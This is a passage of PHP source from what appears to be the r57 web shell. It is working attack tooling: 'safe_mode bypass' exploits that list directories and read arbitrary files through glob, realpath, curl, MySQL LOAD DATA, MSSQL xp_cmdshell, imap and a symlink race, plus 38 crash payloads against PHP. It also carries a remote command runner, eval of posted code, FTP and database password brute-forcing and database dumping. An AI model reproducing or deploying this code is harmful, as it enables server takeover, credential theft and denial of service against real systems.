  2580. @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  2581. if(!$unix){
  2582. echo date("d.m.Y H:i",$mtime);
  2583. if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
  2584. }
  2585. else{
  2586. if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
  2587. $owner = @posix_getpwuid($uid);
  2588. $grgid = @posix_getgrgid($gid);
  2589. }else{$owner['name']=$grgid['name']='';}
  2590. echo $inode." ";
  2591. echo perms(@fileperms($file));
  2592. @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  2593. echo @date("d.m.Y H:i ",$mtime);
  2594. }
  2595. echo "$file\n";
  2596. }
  2597. $d->close();
  2598. }
  2599.  
  2600. elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
  2601. {
  2602. while (false!==($file=@readdir($d)))
  2603. {
  2604. if ($file=="." || $file=="..") continue;
  2605. @clearstatcache();
  2606. @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  2607. if(!$unix){
  2608. echo date("d.m.Y H:i",$mtime);
  2609. if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
  2610. }
  2611. else{
  2612. if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
  2613. $owner = @posix_getpwuid($uid);
  2614. $grgid = @posix_getgrgid($gid);
  2615. }else{$owner['name']=$grgid['name']='';}
  2616. echo $inode." ";
  2617. echo perms(@fileperms($file));
  2618. @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  2619. echo @date("d.m.Y H:i ",$mtime);
  2620. }
  2621. echo "$file\n";
  2622. }
  2623. @closedir($d);
  2624. }
  2625.  
  2626. elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
  2627. {
  2628. echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
  2629. function eh($errno, $errstr, $errfile, $errline)
  2630. {
  2631. global $D, $c, $i;
  2632. preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
  2633. if($o){ $D[$c] = $o[2]; $c++;}
  2634. }
  2635. $error_reporting = @ini_get('error_reporting');
  2636. error_reporting(E_WARNING);
  2637. @ini_set("display_errors", 1);
  2638. @ini_alter("display_errors", 1);
  2639. $root = "/";
  2640. if($dir) $root = $dir;
  2641. $c = 0; $D = array();
  2642. @set_error_handler("eh");
  2643. $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  2644. for($i=0; $i < strlen($chars); $i++)
  2645. {
  2646. $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
  2647. $prevD = $D[count($D)-1];
  2648. @glob($path."*");
  2649. if($D[count($D)-1] != $prevD)
  2650. {
  2651. for($j=0; $j < strlen($chars); $j++)
  2652. {
  2653. $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
  2654. $prevD2 = $D[count($D)-1];
  2655. @glob($path."*");
  2656. if($D[count($D)-1] != $prevD2)
  2657. {
  2658. for($p=0; $p < strlen($chars); $p++)
  2659. {
  2660. $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
  2661. $prevD3 = $D[count($D)-1];
  2662. @glob($path."*");
  2663. if($D[count($D)-1] != $prevD3)
  2664. {
  2665. for($r=0; $r < strlen($chars); $r++)
  2666. {
  2667. $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
  2668. @glob($path."*");
  2669. }
  2670. }
  2671. }
  2672. }
  2673. }
  2674. }
  2675. }
  2676. $D = array_unique($D);
  2677. foreach($D as $item) echo "{$item}\r\n";
  2678. echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
  2679. error_reporting($error_reporting);
  2680. }
  2681. elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
  2682. {
  2683. echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
  2684. if(!$dir){$dir='/etc/';};
  2685. if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
  2686. if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
  2687.  
  2688. if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
  2689. if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
  2690. foreach($presets_rlph as $preset_rlph){
  2691. if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
  2692. }
  2693. for($i=0; $i < strlen($chars_rlph); $i++){
  2694. if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
  2695. if($n_rlph<=1){continue;};
  2696. for($j=0; $j < strlen($chars_rlph); $j++){
  2697. if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
  2698. if($n_rlph<=2){continue;};
  2699. for($x=0; $x < strlen($chars_rlph); $x++){
  2700. if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
  2701. if($n_rlph<=3){continue;};
  2702. for($y=0; $y < strlen($chars_rlph); $y++){
  2703. if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
  2704. if($n_rlph<=4){continue;};
  2705. for($z=0; $z < strlen($chars_rlph); $z++){
  2706. if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
  2707. if($n_rlph<=5){continue;};
  2708. for($w=0; $w < strlen($chars_rlph); $w++){
  2709. if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
  2710. }
  2711. }
  2712. }
  2713. }
  2714. }
  2715. }
  2716. echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
  2717. }
  2718. else echo $lang[$language.'_text29'];
  2719. break;
  2720. case 'test1':
  2721. $ci = @curl_init("file://".$_POST['test1_file']);
  2722. $cf = @curl_exec($ci);
  2723. echo htmlspecialchars($cf);
  2724. break;
  2725. case 'test2':
  2726. @include($_POST['test2_file']);
  2727. break;
  2728. case 'test3':
  2729. if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  2730. $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  2731. if($db)
  2732. {
  2733. if(@mysql_select_db($_POST['test3_md'],$db))
  2734. {
  2735. @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  2736. @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
  2737. /* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
  2738. @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
  2739. $r = @mysql_query("SELECT * FROM temp_r57_table");
  2740. while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
  2741. @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  2742. }
  2743. else echo "[-] ERROR! Can't select database";
  2744. @mysql_close($db);
  2745. }
  2746. else echo "[-] ERROR! Can't connect to mysql server";
  2747. break;
  2748. case 'test4':
  2749. if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  2750. $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  2751. if($db)
  2752. {
  2753. if(@mssql_select_db($_POST['test4_md'],$db))
  2754. {
  2755. @mssql_query("drop table r57_temp_table",$db);
  2756. @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  2757. @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  2758. $res = mssql_query("select * from r57_temp_table",$db);
  2759. while(($row=@mssql_fetch_row($res)))
  2760. {
  2761. echo htmlspecialchars($row[0])."\r\n";
  2762. }
  2763. @mssql_query("drop table r57_temp_table",$db);
  2764. }
  2765. else echo "[-] ERROR! Can't select database";
  2766. @mssql_close($db);
  2767. }
  2768. else echo "[-] ERROR! Can't connect to MSSQL server";
  2769. break;
  2770. case 'test5':
  2771. $temp=tempnam($dir, "fname");
  2772. if (@file_exists($temp)) @unlink($temp);
  2773. $extra = "-C ".$_POST['test5_file']." -X $temp";
  2774. @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  2775. $str = moreread($temp);
  2776. echo htmlspecialchars($str);
  2777. @unlink($temp);
  2778. break;
  2779. case 'test6':
  2780. $stream = @imap_open('/etc/passwd', "", "");
  2781. $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  2782. for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
  2783. @imap_close($stream);
  2784. break;
  2785. case 'test7':
  2786. $stream = @imap_open($_POST['test7_file'], "", "");
  2787. $str = @imap_body($stream, 1);
  2788. echo htmlspecialchars($str);
  2789. @imap_close($stream);
  2790. break;
  2791. case 'test8':
  2792. $temp=@tempnam($_POST['test8_file2'], "copytemp");
  2793. $str = readzlib($_POST['test8_file1'],$temp);
  2794. echo htmlspecialchars($str);
  2795. @unlink($temp);
  2796. break;
  2797. case 'test9':
  2798. @ini_restore("safe_mode");
  2799. @ini_restore("open_basedir");
  2800. $str = moreread($_POST['test9_file']);
  2801. echo htmlspecialchars($str);
  2802. break;
  2803. case 'test10':
  2804. @ob_clean();
  2805. $error_reporting = @ini_get('error_reporting');
  2806. error_reporting(E_ALL ^ E_NOTICE);
  2807. @ini_set("display_errors", 1);
  2808. @ini_alter("display_errors", 1);
  2809. $str=@fopen($_POST['test10_file'],"r");
  2810. while(!feof($str)){print htmlspecialchars(fgets($str));}
  2811. fclose($str);
  2812. error_reporting($error_reporting);
  2813. break;
  2814. case 'test11':
  2815. @ob_clean();
  2816. $temp = 'zip://'.$_POST['test11_file'];
  2817. $str = moreread($temp);
  2818. echo htmlspecialchars($str);
  2819. break;
  2820. case 'test12':
  2821. @ob_clean();
  2822. $temp = 'compress.bzip2://'.$_POST['test12_file'];
  2823. $str = moreread($temp);
  2824. echo htmlspecialchars($str);
  2825. break;
  2826. case 'test13':
  2827. @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
  2828. echo $lang[$language.'_text61'];
  2829. break;
  2830. case 'test14':
  2831. @session_save_path($_POST['test14_file2']."\0;$tempdir");
  2832. @session_start();
  2833. @$_SESSION[php]=$_POST['test14_file1'];
  2834. echo $lang[$language.'_text61'];
  2835. break;
  2836. case 'test15':
  2837. @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
  2838. echo $lang[$language.'_text61'];
  2839. break;
  2840. case 'test16':
  2841. if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
  2842. break;
  2843. case 'test17_1':
  2844. @unlink('symlinkread');
  2845. @symlink('a/a/a/a/a/a/', 'dummy');
  2846. @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
  2847. @unlink('dummy');
  2848. while (1)
  2849. {
  2850. @symlink('.', 'dummy');
  2851. @unlink('dummy');
  2852. }
  2853. break;
  2854. case 'test17_2':
  2855. $str='';
  2856. while (strlen($str) < 3) {
  2857. /* $str = moreread('symlinkread');*/
  2858. $str = @file_get_contents('symlinkread');
  2859. if($str){ @ob_clean(); echo htmlspecialchars($str);}
  2860. }
  2861. break;
  2862. case 'test17_3':
  2863. $dir = $files = array();
  2864. if(@version_compare(@phpversion(),"5.0.0")>=0){
  2865. while (@count($dir) < 3) {
  2866. $dir=@scandir('symlinkread');
  2867. if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
  2868. }
  2869. }
  2870. else {
  2871. while (@count($files) < 3) {
  2872. $dh = @opendir('symlinkread');
  2873. while (false !== ($filename = @readdir($dh))) {
  2874. $files[] = $filename;
  2875. }
  2876. if(@count($files) > 2){@ob_clean(); @print_r($files); }
  2877. }
  2878. }
  2879. break;
  2880. case 'test18':
  2881. @putenv("TMPDIR=".$_POST['test18_file2']);
  2882. @ini_set("session.save_path", "");
  2883. @ini_alter("session.save_path", "");
  2884. @session_start();
  2885. @$_SESSION[php]=$_POST['test18_file1'];
  2886. echo $lang[$language.'_text61'];
  2887. break;
  2888. case 'test19':
  2889. if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
  2890. $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
  2891. if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
  2892. $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
  2893. $m->set_local_infile_handler("r");
  2894. $m->query("DROP TABLE IF EXISTS temp_r57_table");
  2895. $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
  2896. $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
  2897. $r = $m->query("SELECT * FROM temp_r57_table");
  2898. while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
  2899. $m->query("DROP TABLE IF EXISTS temp_r57_table");
  2900. $m->close();
  2901. break;
  2902. }
  2903. }
  2904.  
  2905. if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
  2906. $cmd_rep = ex($_POST['cmd']);
  2907. if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  2908. else { echo @htmlspecialchars($cmd_rep)."\n"; }
  2909. }/*elseif($safe_mode){
  2910. $cmd_rep = safe_ex($_POST['cmd']);
  2911. if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  2912. else { echo @htmlspecialchars($cmd_rep)."\n"; }
  2913. }
  2914. */
  2915. switch($_POST['cmd'])
  2916. {
  2917. case 'dos1':
  2918. function a() { a(); } a();
  2919. break;
  2920. case 'dos2':
  2921. @pack("d4294967297", 2);
  2922. break;
  2923. case 'dos3':
  2924. $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
  2925. break;
  2926. case 'dos4':
  2927. $t = array(1);while (1) {$a[] = &$t;};
  2928. break;
  2929. case 'dos5':
  2930. @dl("sqlite.so");$db = new SqliteDatabase("foo");
  2931. break;
  2932. case 'dos6':
  2933. preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
  2934. break;
  2935. case 'dos7':
  2936. @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
  2937. break;
  2938. case 'dos8':
  2939. @shell_exec("killall -11 httpd");
  2940. break;
  2941. case 'dos9':
  2942. function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
  2943. break;
  2944. case 'dos10':
  2945. $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
  2946. break;
  2947. case 'dos11':
  2948. @array_fill(1,123456789,"Infigo-IS");
  2949. break;
  2950. case 'dos12':
  2951. @substr_compare("A","A",12345678);
  2952. break;
  2953. case 'dos13':
  2954. @unserialize("a:2147483649:{");
  2955. break;
  2956. case 'dos14':
  2957. $Data = @str_ireplace("\n", "<br>", $Data);
  2958. break;
  2959. case 'dos15':
  2960. function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
  2961. $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
  2962. @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
  2963. break;
  2964. case 'dos16':
  2965. $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
  2966. for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
  2967. unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
  2968. break;
  2969. case 'dos17':
  2970. $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
  2971. $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
  2972. $x = "AQ ";
  2973. unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
  2974. break;
  2975. case 'dos18':
  2976. $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
  2977. if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
  2978. echo "Msg not sent because $msg_err\n";
  2979. if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
  2980. echo "$msg\n";
  2981. } else { echo "Received $msg_error fetching message\n"; break; }
  2982. @msg_remove_queue ($msg_id);
  2983. break;
  2984. case 'dos19':
  2985. $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
  2986. break;
  2987. case 'dos20':
  2988. $hashtable = str_repeat("A", 39);
  2989. $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
  2990. $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
  2991. $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
  2992. for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
  2993. $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
  2994. @unserialize($str);
  2995. break;
  2996. case 'dos21':
  2997. imagecreatetruecolor(1234,1073741824);
  2998. break;
  2999. case 'dos22':
  3000. imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
  3001. break;
  3002. case 'dos23':
  3003. $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
  3004. break;
  3005. case 'dos24':
  3006. setlocale(LC_COLLATE, str_repeat("A", 34438013));
  3007. break;
  3008. case 'dos25':
  3009. glob(str_repeat("A", 9638013));
  3010. break;
  3011. case 'dos26':
  3012. glob("a",-1);
  3013. break;
  3014. case 'dos27':
  3015. fnmatch("*[1]e", str_repeat("A", 9638013));
  3016. break;
  3017. case 'dos28':
  3018. if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
  3019. break;
  3020. case 'dos29':
  3021. if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
  3022. break;
  3023. case 'dos30':
  3024. $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c);
  3025. break;
  3026. case 'dos31':
  3027. if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
  3028. break;
  3029. case 'dos32':
  3030. if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
  3031. break;
  3032. case 'dos33':
  3033. $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
  3034. break;
  3035. case 'dos34':
  3036. if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
  3037. break;
  3038. case 'dos35':
  3039. $a = str_repeat("/", 4199000); iconv(1, $a, 1);
  3040. break;
  3041. case 'dos36':
  3042. $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
  3043. break;
  3044. case 'dos37':
  3045. $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
  3046. break;
  3047. case 'dos38':
  3048. $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
  3049. break;
  3050. }
  3051.  
  3052. if ($_POST['cmd']=="php_eval"){
  3053. $eval = @str_replace("<?","",$_POST['php_eval']);
  3054. $eval = @str_replace("?>","",$eval);
  3055. @eval($eval);}
  3056.  
  3057. if ($_POST['cmd']=="ftp_brute")
  3058. {
  3059. $suc = 0;
  3060. if($_POST['brute_method']=='passwd'){
  3061. foreach($users as $user)
  3062. {
  3063. $connection = @ftp_connect($ftp_server,$ftp_port,10);
  3064. if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  3065. else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  3066. @ftp_close($connection);
  3067. }
  3068. }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
  3069. foreach($users as $user)
  3070. {
  3071. $connection = @ftp_connect($ftp_server,$ftp_port,10);
  3072. if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
  3073. @ftp_close($connection);
  3074. }
  3075. }
  3076. echo "\r\n-------------------------------------\r\n";
  3077. $count = count($users);
  3078. if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
  3079. echo $lang[$language.'_text97'].$count."\r\n";
  3080. echo $lang[$language.'_text98'].$suc."\r\n";
  3081. }
  3082.  
  3083. if ($_POST['cmd']=="db_brute")
  3084. {
  3085. $suc = 0;
  3086. if($_POST['brute_method']=='passwd'){
  3087. foreach($users as $user)
  3088. {
  3089. $sql = new my_sql();
  3090. $sql->db = $_POST['db'];
  3091. $sql->host = $_POST['db_server'];
  3092. $sql->port = $_POST['db_port'];
  3093. $sql->user = $user;
  3094. $sql->pass = $user;
  3095. if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
  3096. }
  3097. if(isset($_POST['reverse']))
  3098. {
  3099. foreach($users as $user)
  3100. {
  3101. $sql = new my_sql();
  3102. $sql->db = $_POST['db'];
  3103. $sql->host = $_POST['db_server'];
  3104. $sql->port = $_POST['db_port'];
  3105. $sql->user = $user;
  3106. $sql->pass = strrev($user);
  3107. if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
  3108. }
  3109. }
  3110. }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
  3111. foreach($users as $user)
  3112. {
  3113. $sql = new my_sql();
  3114. $sql->db = $_POST['db'];
  3115. $sql->host = $_POST['db_server'];
  3116. $sql->port = $_POST['db_port'];
  3117. $sql->user = $_POST['mysql_l'];
  3118. $sql->pass = $user;
  3119. if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
  3120. }
  3121. }
  3122. echo "\r\n-------------------------------------\r\n";
  3123. $count = count($users);
  3124. if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
  3125. echo $lang[$language.'_text97'].$count."\r\n";
  3126. echo $lang[$language.'_text98'].$suc."\r\n";
  3127. }
  3128.  
  3129. if ($_POST['cmd']=="mysql_dump")
  3130. {
  3131. if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
  3132. $sql = new my_sql();
  3133. $sql->db = $_POST['db'];
  3134. $sql->host = $_POST['db_server'];
  3135. $sql->port = $_POST['db_port'];
  3136. $sql->user = $_POST['mysql_l'];
  3137. $sql->pass = $_POST['mysql_p'];
  3138. $sql->base = $_POST['mysql_db'];
  3139. if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  3140. else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  3141. else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  3142. else {
  3143. if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
  3144. else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} }
  3145. else { echo "[-] ERROR! Can't write in dump file"; }
  3146. }
  3147. }
  3148.  
  3149. echo "</textarea></div>";
  3150. echo "</b>";
  3151. echo "</td></tr></table>";
  3152. echo "<table width=100% cellpadding=0 cellspacing=0>";
  3153.  
  3154. function div_title($title, $id)
  3155. {
  3156. return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
  3157. }
  3158. function div($id)
  3159. {
  3160. if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
  3161. $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
  3162. if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
  3163. return '<div id="'.$id.'">';
  3164. }
  3165.  
  3166. if(!$safe_mode){
  3167. echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
  3168. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  3169. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  3170. echo $te.'</div>'.$table_end1.$fe;
  3171. }
  3172. else{
  3173. echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
  3174. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  3175. echo $te.'</div>'.$table_end1.$fe;
  3176. }
  3177. echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
  3178. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  3179. echo $te.'</div>'.$table_end1.$fe;
  3180.  
  3181. if($safe_mode || $open_basedir){
  3182. echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
  3183. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  3184. echo $te.'</div>'.$table_end1.$fe;
  3185. }
  3186.  
  3187. if($unix && @function_exists('touch')){
  3188. echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
  3189. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
  3190. .ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
  3191. .ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
  3192. echo sr(15,"<b> or set Day".$arrow."</b>",
  3193. '
  3194. <select name="day" size="1">
  3195. <option value="01">1</option>
  3196. <option value="02">2</option>
  3197. <option value="03">3</option>
  3198. <option value="04">4</option>
  3199. <option value="05">5</option>
  3200. <option value="06">6</option>
  3201. <option value="07">7</option>
  3202. <option value="08">8</option>
  3203. <option value="09">9</option>
  3204. <option value="10">10</option>
  3205. <option value="11">11</option>
  3206. <option value="12">12</option>
  3207. <option value="13">13</option>
  3208. <option value="14">14</option>
  3209. <option value="15">15</option>
  3210. <option value="16">16</option>
  3211. <option value="17">17</option>
  3212. <option value="18">18</option>
  3213. <option value="19">19</option>
  3214. <option value="20">20</option>
